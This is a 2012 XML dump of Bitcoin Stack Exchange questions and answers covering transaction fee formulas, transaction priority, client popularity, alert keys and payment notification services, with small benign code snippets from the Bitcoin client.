  <row Id="3399" PostTypeId="2" ParentId="3359" CreationDate="2012-04-09T15:43:37.697" Score="3" Body="&lt;p&gt;Eventually, technology advances may enable cracking of the keys allowing access to your Bitcoins. This would be the digital equivalent of salvage or treasure hunting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until then, they're lost.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2012-04-09T15:43:37.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3400" PostTypeId="1" AcceptedAnswerId="3403" CreationDate="2012-04-09T16:30:41.257" Score="13" ViewCount="8798" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fee&quot;&gt;Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the blocksize is more than 250 kB, transactions get increasingly more expensive as the blocksize approaches the limit of 500 kB. Sending a transaction when the blocksize is 400 kB will cost 5 times the normal amount; sending when it's 499 kB will cost 500x, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the exact formula that determines the transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-03-17T19:19:44.620" LastActivityDate="2013-03-17T19:19:44.620" Title="What is the exact formula for calculating transaction fees?" Tags="|transactions|bitcoin-core|block|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3401" PostTypeId="2" ParentId="3398" CreationDate="2012-04-09T17:25:54.870" Score="4" Body="&lt;p&gt;Bitcoin only connects to them specially when you don't have enough nodes, and then it will disconnect as soon as the seednodes give you a nodelist. Bitcoin might choose to connect to seednodes as regular peers as well, but they're not given any preference.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-04-09T17:25:54.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3402" PostTypeId="2" ParentId="3400" CreationDate="2012-04-09T18:22:16.293" Score="1" Body="&lt;p&gt;I don't know the formula from any authoritative source, but based on the examples in the text, it is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fee = Normal fee / (1 - Block size / 500KB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or equivalently (and I suspect the actual code uses this form)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fee = Normal fee * (500 KB) / (500KB - Block size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-09T18:22:16.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3403" PostTypeId="2" ParentId="3400" CreationDate="2012-04-09T18:52:41.113" Score="10" Body="&lt;p&gt;See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.6.0/src/main.h#L542&quot;&gt;GetMinFee()&lt;/a&gt; in main.h for the code which determines the minimum transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.6.0/src/main.h#L575&quot;&gt;part you're describing&lt;/a&gt; is implemented as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Raise the price as the block approaches full&#xA;if (nBlockSize != 1 &amp;amp;&amp;amp; nNewBlockSize &amp;gt;= MAX_BLOCK_SIZE_GEN/2)&#xA;{&#xA;    if (nNewBlockSize &amp;gt;= MAX_BLOCK_SIZE_GEN)&#xA;        return MAX_MONEY;&#xA;    nMinFee *= MAX_BLOCK_SIZE_GEN / (MAX_BLOCK_SIZE_GEN - nNewBlockSize);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;nBlockSize&lt;/code&gt; depends on who we are:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if we're a user making a new transaction, &lt;code&gt;nBlockSize&lt;/code&gt; is 1&lt;/li&gt;&#xA;&lt;li&gt;if we're a node deciding whether to relay an incoming transaction, &lt;code&gt;nBlockSize&lt;/code&gt; is 1000&lt;/li&gt;&#xA;&lt;li&gt;if we're a miner deciding which transactions to include in a new block, &lt;code&gt;nBlockSize&lt;/code&gt; is the size of the block we're building before adding the new transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;nNewBlockSize&lt;/code&gt; is the size of the block including the new transaction&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MAX_BLOCK_SIZE_GEN&lt;/code&gt; is 500kB&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MAX_MONEY&lt;/code&gt; is 21 million BTC (all the money in the world)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so it's saying:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if we're either deciding whether to relay or mine the transaction, and adding the transaction would make the block over 50% full:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;never allow a transaction that makes the block 100% full&lt;/li&gt;&#xA;&lt;li&gt;otherwise scale the fee up by a factor of &lt;code&gt;500kB / (500kB - nNewBlockSize)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: by rearranging the symbols, we get exactly what Meni wrote in his answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fee&lt;/code&gt; = &lt;code&gt;Normal fee / ((500kB - size) / 500kB)&lt;/code&gt;&#xA;         = &lt;code&gt;Normal fee / (1 - size / 500kB)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-09T18:52:41.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3404" PostTypeId="2" ParentId="3400" CreationDate="2012-04-09T20:38:53.060" Score="1" Body="&lt;p&gt;The other answers describe the rules currently implemented in the client, but I expect those rules to be replaced once block size limits become relevant. Since those rules aren't enforced when clients verify the blockchain, they are only guidelines, and will be violated if they're against the interest of miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners will simply choose the subset of candidate transactions that respects the limits (blocksize and signature count) and maximizes the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disregarding a few minor complications (knapsack and dependent transactions) this means that miners sort the transactions by &lt;code&gt;fee/transactionSize&lt;/code&gt; if the maximal size is the limiting factor, and &lt;code&gt;fee/signatureCount&lt;/code&gt; if the signature count is the limiting factor.&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="659" LastEditDate="2012-04-10T02:59:18.280" LastActivityDate="2012-04-10T02:59:18.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3405" PostTypeId="1" AcceptedAnswerId="3955" CreationDate="2012-04-10T06:10:16.310" Score="6" ViewCount="1590" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/bitcoin/txlist/&quot;&gt;This page at bitcoincharts&lt;/a&gt; shows a list of transactions that didn't get included in a block yet.  Many of them are from 2 or 3 months ago, even though they include a fee.  What's going on?  Why haven't they been included in a block already?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-14T01:11:04.307" Title="Why do some transactions take months to get into a block?" Tags="|transactions|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3407" PostTypeId="1" CreationDate="2012-04-10T14:07:34.957" Score="9" ViewCount="590" Body="&lt;p&gt;Is there any data available on how many people use an alternative client in contrast to the Satoshi client? Alternatively, is there any data on how many times such clients have been downloaded?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2012-04-10T19:09:00.530" LastActivityDate="2013-01-11T14:17:38.370" Title="How popular are alternative clients?" Tags="|client|bitcoin-core|thin-clients|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3408" PostTypeId="2" ParentId="3407" CreationDate="2012-04-10T20:14:42.367" Score="4" Body="&lt;p&gt;The project owner on the repo has the info on the number of downloads but unless that is shared by that person I don't think that information can be obtained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &quot;traffic&quot; statistic that can be seen on GitHub.  For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/graphs/traffic&quot;&gt;https://github.com/etotheipi/BitcoinArmory/graphs/traffic&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/downloads&quot;&gt;https://github.com/etotheipi/BitcoinArmory/downloads&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BIP 14 addresses a method for a client to identify itself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/BIP_0014&quot;&gt;http://en.bitcoin.it/wiki/BIP_0014&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Exposing this information is harmful though when there is the desire for security through obscurity so the Bitcoin.org client now reports &quot;Satoshi&quot;, apparently.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-13T21:06:43.547" LastActivityDate="2012-04-13T21:06:43.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3409" PostTypeId="1" CreationDate="2012-04-10T23:36:00.323" Score="8" ViewCount="1020" Body="&lt;p&gt;I've heard that the standard client prioritizes which transaction to relay based on the Bitcoin Days Destroyed and the fee paid on the transaction, but what is the exact formula used to determine which transaction has higher priority? That is, how does the standard client prioritize which transaction to send to other nodes first?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorDisplayName="user5107" LastEditDate="2014-06-19T19:45:23.147" LastActivityDate="2014-06-19T19:45:23.147" Title="How does the standard client prioritize transactions?" Tags="|transactions|bitcoin-core|protocol|bitcoin-days-destroyed|coin-age-priority|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3410" PostTypeId="2" ParentId="3389" CreationDate="2012-04-10T23:44:54.243" Score="1" Body="&lt;p&gt;There is a bin folder that contains the binary. There are two folders in that folder, &quot;32&quot; and &quot;64&quot;. You have to know what type of system your mint/computer is. It either a 32 bit system or 64 bit system. If you click on on a 32 bitcoin-qt on a 64 bit computer it will not start and vice versa.&lt;/p&gt;&#xA;" OwnerUserId="1270" LastActivityDate="2012-04-10T23:44:54.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3411" PostTypeId="2" ParentId="3407" CreationDate="2012-04-11T08:52:01.573" Score="5" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://multibit.org/awstats/awstats.pl?config=multibit.org&quot; rel=&quot;nofollow&quot;&gt;Multibit download stats&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; is a thin-client based on the BitCoinJ library. It is written in Java and comes with installer packages for Mac, Windows and Linux. It is intended to be used by the general public who don't have a great deal of knowledge about Bitcoin and just want to send and receive payments in the simplest manner possible. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-01-11T14:17:38.370" LastActivityDate="2013-01-11T14:17:38.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3413" PostTypeId="2" ParentId="3409" CreationDate="2012-04-11T18:06:14.830" Score="2" Body="&lt;p&gt;The priority of a transaction is (the sum of (coin age in blocks * coin value in satoshis) over all the inputs in the transaction) divided by the size of the transaction in bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;http://bitcoincharts.com/bitcoin/txlist/#634144b781af98f6953f035d00fb7750d96df56709e89ff87bd2d9ca98cba810&quot; rel=&quot;nofollow noreferrer&quot;&gt;random example transaction&lt;/a&gt; copied from &lt;a href=&quot;http://bitcoincharts.com/bitcoin/txlist/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoincharts.com/bitcoin/txlist/&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVK40.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has 2 inputs (both of which have since been spent in other (confirmed) transactions rendering this transaction unconfirmable):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;one for 0.1005 BTC from block 165774&lt;/li&gt;&#xA;&lt;li&gt;one for 0.0995 BTC from block 165777&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is 439 bytes long, and has a priority of 432,232,688.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most recent blocks in the blockchain is 175262 at the time of writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sum the (age * values) for each transaction and divide by size.  The &lt;code&gt;+ 1&lt;/code&gt; is because transactions confirmed in the newest block are considered to have an age of 1, not 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; current_block = 175262&#xA;&amp;gt;&amp;gt;&amp;gt; ((current_block - 165774 + 1) * 0.1005e8 +&#xA;     (current_block - 165777 + 1) * 0.0995e8) / 439&#xA;432232687.92710704&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the priority of a transaction will go up as new blocks are found.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-04-11T18:11:24.433" LastActivityDate="2012-04-11T18:11:24.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3414" PostTypeId="2" ParentId="3409" CreationDate="2012-04-12T05:17:42.330" Score="1" Body="&lt;p&gt;The rules for the Bitcoin.org client are to keep the first transaction in which a bitcoin address is spent and to discard without relaying any others that might arrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the priority is based on chronological time of arrival.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been &lt;a href=&quot;http://bitcointalk.org/index.php?topic=67739.msg845100#msg845100&quot; rel=&quot;nofollow noreferrer&quot;&gt;talk of variations&lt;/a&gt; that would allow a replacement transaction with a higher fee to supercede an earlier transaction that has not yet been confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is an attack vector that describes how this priority can be modified to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3315/double-spend-attack-by-sending-higher-fee-transaction-directly-to-the-pools-poss&quot;&gt;facilitate double spending&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-04-12T05:17:42.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3415" PostTypeId="2" ParentId="2980" CreationDate="2012-04-12T10:17:54.180" Score="6" Body="&lt;p&gt;There is also &lt;a href=&quot;https://www.bitcoinbuilder.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinbuilder.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows an easy setup where you spread your bitcoin buys over a time. Currently only works with mtgox. You create trade-only rights for the bot, so that no high trust for the site is required.&lt;/p&gt;&#xA;" OwnerUserId="1275" LastEditorUserId="1275" LastEditDate="2012-05-14T10:20:07.903" LastActivityDate="2012-05-14T10:20:07.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3417" PostTypeId="1" AcceptedAnswerId="3420" CreationDate="2012-04-13T07:52:33.807" Score="13" ViewCount="1041" Body="&lt;p&gt;Should Satoshi decide to reveal his or her true identity, how can one know the person is the real creator of Bitcoin, rather than a person who hacked the forum login, email address or the like? In other words, what methods of authentication did Satoshi use that could clearly identify him or her?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-04-13T09:15:28.760" LastActivityDate="2024-02-09T09:17:46.377" Title="How would we know the real Satoshi?" Tags="|bitcoin-core|satoshi-nakamoto|authentication|public-key|identity|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3418" PostTypeId="1" AcceptedAnswerId="3423" CreationDate="2012-04-13T08:14:21.520" Score="5" ViewCount="410" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#alert&quot; rel=&quot;nofollow&quot;&gt;Alert message&lt;/a&gt; in the Standard Client will only be displayed if it is signed with a correct ECDSA private key. Should anyone get that private key, they would be able to propagate any alert through the Bitcoin network, possibly causing some harm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can a person achieve with special private keys in regards to the Standard Client and anything directly related to it, and moreover, what public key / address are known to correspond to such keys? (For example, a preferable answer would be &quot;With key X and Y one can do Z&quot;)&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-06-17T22:58:48.687" LastActivityDate="2017-06-17T23:02:36.583" Title="What can a person do with special private keys?" Tags="|bitcoin-core|governance|alert-system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3420" PostTypeId="2" ParentId="3417" CreationDate="2012-04-13T15:07:29.623" Score="23" Body="&lt;p&gt;He has a &lt;a href=&quot;https://bitcointalk.org/Satoshi_Nakamoto.asc&quot;&gt;PGP public key&lt;/a&gt; which he can use to sign things.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-04-13T15:07:29.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3422" PostTypeId="1" AcceptedAnswerId="3433" CreationDate="2012-04-14T16:27:45.487" Score="5" ViewCount="1005" Body="&lt;p&gt;I'm trying to set up a software system and part of it is knowing when someone sends Bitcoins to me automatically. I'm using &lt;a href=&quot;https://stackoverflow.com/questions/tagged/node.js&quot;&gt;node.js&lt;/a&gt;, if that matters to anyone.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2012-04-16T02:48:15.220" Title="How can I programmatically know when someone sends me Bitcoins?" Tags="|development|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3423" PostTypeId="2" ParentId="3418" CreationDate="2012-04-14T20:16:07.863" Score="6" Body="&lt;p&gt;As far as I know, the alert key is the only special one with a public key hardcoded in the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, the public key of the genesis block's output is also hardcoded in the client, but it grants no special privileges. The genesis block cannot even be spent.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="5406" LastEditDate="2017-06-17T23:02:36.583" LastActivityDate="2017-06-17T23:02:36.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3424" PostTypeId="2" ParentId="3257" CreationDate="2012-04-14T21:22:05.473" Score="2" Body="&lt;p&gt;This is done in the Javascript from BlockChain.info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=40264.msg851062#msg851062&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=40264.msg851062#msg851062&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The transaction can then be sent using either of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/pushtx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitsend.rowit.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitsend.rowit.co.uk/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-14T21:22:05.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3425" PostTypeId="2" ParentId="3422" CreationDate="2012-04-15T02:14:11.937" Score="0" Body="&lt;p&gt;You could poll the Block Explorer for balance of any Bitcoin address. For example, you can see the page of &lt;a href=&quot;http://blockexplorer.com/address/1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot; rel=&quot;nofollow&quot;&gt;the address that appeared in the Genesis Block&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-04-15T02:14:11.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3426" PostTypeId="2" ParentId="3417" CreationDate="2012-04-15T11:00:44.717" Score="9" Body="&lt;p&gt;He can prove that he has the private key matching the address used in the genesis block.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2012-04-15T11:00:44.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3427" PostTypeId="1" AcceptedAnswerId="3428" CreationDate="2012-04-15T11:53:36.883" Score="3" ViewCount="750" Body="&lt;p&gt;In a setup where a standard bitcoind serves full difficulty targets to some mining nodes, how can I calculate the hashrate of a mining node from looking at the rate of getwork requests? Does this depend on the used mining program or the used mining extensions?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="5406" LastEditDate="2016-03-14T16:55:31.580" LastActivityDate="2016-03-14T16:55:31.580" Title="How does the rate of getwork requests correlate with the hashrate of a miner?" Tags="|hash|difficulty|getwork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3428" PostTypeId="2" ParentId="3427" CreationDate="2012-04-15T12:39:04.800" Score="3" Body="&lt;p&gt;The standard getwork protocol forces the miner to send a new request every second. This means that if a miner takes longer than 1 second to check all nonces in a given getwork (2^32), it will be making a new request before it checks all values in a given request, thus giving you 1 getwork request per second regardless of the hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the miner can solve the getwork faster than that, it would be making requests more often. In theory, you could use this formula to calculate the hashrate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Hashrate = noncemax/time&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;time&lt;/code&gt; is the interval between the getwork requests and &lt;code&gt;noncemax&lt;/code&gt; is the size of nonce field (2^32). However, this assumes no time delay due to the network lag and so forth, so it's an ideal scenario. Moreover, some miners discard unfinished work after submitting a share, so it would appear they are doing more work in your configuration than they actually are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you intend on using &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#Extensions&quot; rel=&quot;nofollow&quot;&gt;getwork extensions&lt;/a&gt;, specifically &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#noncerange&quot; rel=&quot;nofollow&quot;&gt;noncerange&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#rollntime&quot; rel=&quot;nofollow&quot;&gt;rollntime&lt;/a&gt;, you could calculate the hashrate more accurately. Noncerange would change your &lt;code&gt;noncemax&lt;/code&gt; to whatever size you set, and rollntime would allow you to measure time intervals greater than one second. However, &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork_support&quot; rel=&quot;nofollow&quot;&gt;not all miners support the extensions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-04-15T12:49:53.490" LastActivityDate="2012-04-15T12:49:53.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3430" PostTypeId="1" CreationDate="2012-04-15T22:05:53.420" Score="1" ViewCount="393" Body="&lt;p&gt;When sending coins, an error message pops up saying: &quot;This application has requested the Runtime to terminate in an unusual way, please contact it the applications support team&quot;, what do?&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2012-04-15T22:05:53.420" Title="Runtime error when trying to send bitcoins" Tags="|sending|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3433" PostTypeId="2" ParentId="3422" CreationDate="2012-04-16T02:48:15.220" Score="6" Body="&lt;p&gt;BlockChain.info provides a push notification API:&#xA; - &lt;a href=&quot;http://blockchain.info/api_websocket&quot;&gt;http://blockchain.info/api_websocket&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-16T02:48:15.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3435" PostTypeId="2" ParentId="2374" CreationDate="2012-04-16T21:56:29.323" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;http://www.bitcoinmonitor.net&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmonitor.net&lt;/a&gt;. Besides the common features it includes a notification history and status info for each individual callback. Also possible is notification via RSS/atom feed and of course email.&#xA;As a bonus everything can be set up using a RESTful API.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2012-04-16T21:56:29.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3436" PostTypeId="2" ParentId="3383" CreationDate="2012-04-17T08:09:39.770" Score="1" Body="&lt;p&gt;Generally, application updates do not occur automatically.  As a result protection from a wallet-stealing compromise, for instance, can come from not installing updates until after most everyone else has already upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This delay won't protect if you do installed it eventually but the likelihood would be that others would experience a problem before you've even installed the update.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-07-14T05:26:26.887" LastActivityDate="2014-07-14T05:26:26.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3437" PostTypeId="1" CreationDate="2012-04-18T04:07:55.963" Score="5" ViewCount="668" Body="&lt;p&gt;Is there any limitation on the monetary size of transactions to be paid through BitCoins? I conduct a consultancy business where payments from clients can vary between about $5 for White papers to $15,000 for a major consultancy assignment fee. I have not been able to find out this information from the website. &lt;/p&gt;&#xA;" OwnerUserId="1288" LastEditorUserId="5406" LastEditDate="2014-05-02T17:44:00.153" LastActivityDate="2014-05-02T17:44:00.153" Title="Sale and Purchase Transaction Limits" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3438" PostTypeId="2" ParentId="3437" CreationDate="2012-04-18T05:24:33.497" Score="6" Body="&lt;p&gt;There is no technical limitation. However, to perform a $15,000 transaction, you need $15,000 worth of Bitcoins. There are times when it's hard to acquire that many Bitcoins without moving the market in unfavorable ways. It's worse if you need to cash out. However, if you're willing to buy and sell the Bitcoins slowly or under favorable market conditions, the transfers are not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$15,000 is not a huge problem right now. $300,000 definitely is. Just remember, if you have to buy bitcoins with dollars and then the other party has to sell them for dollars (or another currency), you'll take a sextuple transfer hit. You'll pay two half-spreads plus two conversion fees. Then, as you buy, you'll move the market up. And as you sell, you'll move the market down. This is a huge issue with Bitcoin today. Just the spread and conversion fees add up to about a 2% loss, assuming prices don't change -- that still beats credit cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transaction fees for transferring Bitcoins are based on the size of a transaction in bytes, not the number of Bitcoins transferred. What makes a transaction &quot;expensive&quot; (though we're usually talking a few pennies if even that) is having to &quot;gather&quot; funds from a lot of sources or &quot;scatter&quot; funds out to a lot of different destinations. So your $15,000 transaction will likely cost less than a penny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in sum, moving the Bitcoins from one account to another will probably be less than a penny. But in most applications, you have to factor in the cost of buying Bitcoins on one end and selling them on the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the most recently-mined block at the time I wrote this answer, there was a transfer for about $16,000 worth of Bitcoins. The transaction fee was about a quarter of a penny. And currently you can process transactions without paying any fee if you're willing to wait an extra 30 minutes or so. (Because many miners don't care about transactions fees and will include any valid transaction so any valid transaction will get into a block eventually.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-04-21T02:39:12.383" LastActivityDate="2012-04-21T02:39:12.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3439" PostTypeId="2" ParentId="3437" CreationDate="2012-04-18T08:16:06.183" Score="3" Body="&lt;p&gt;The only technical limit on the number of bitcoins you can send in a transaction is that you can only send as many bitcoins are you are in possession of, and that there will only ever be 21 million bitcoins in existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have bitcoins, and someone else wants them, there's no problem sending as many as you like.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-18T08:16:06.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
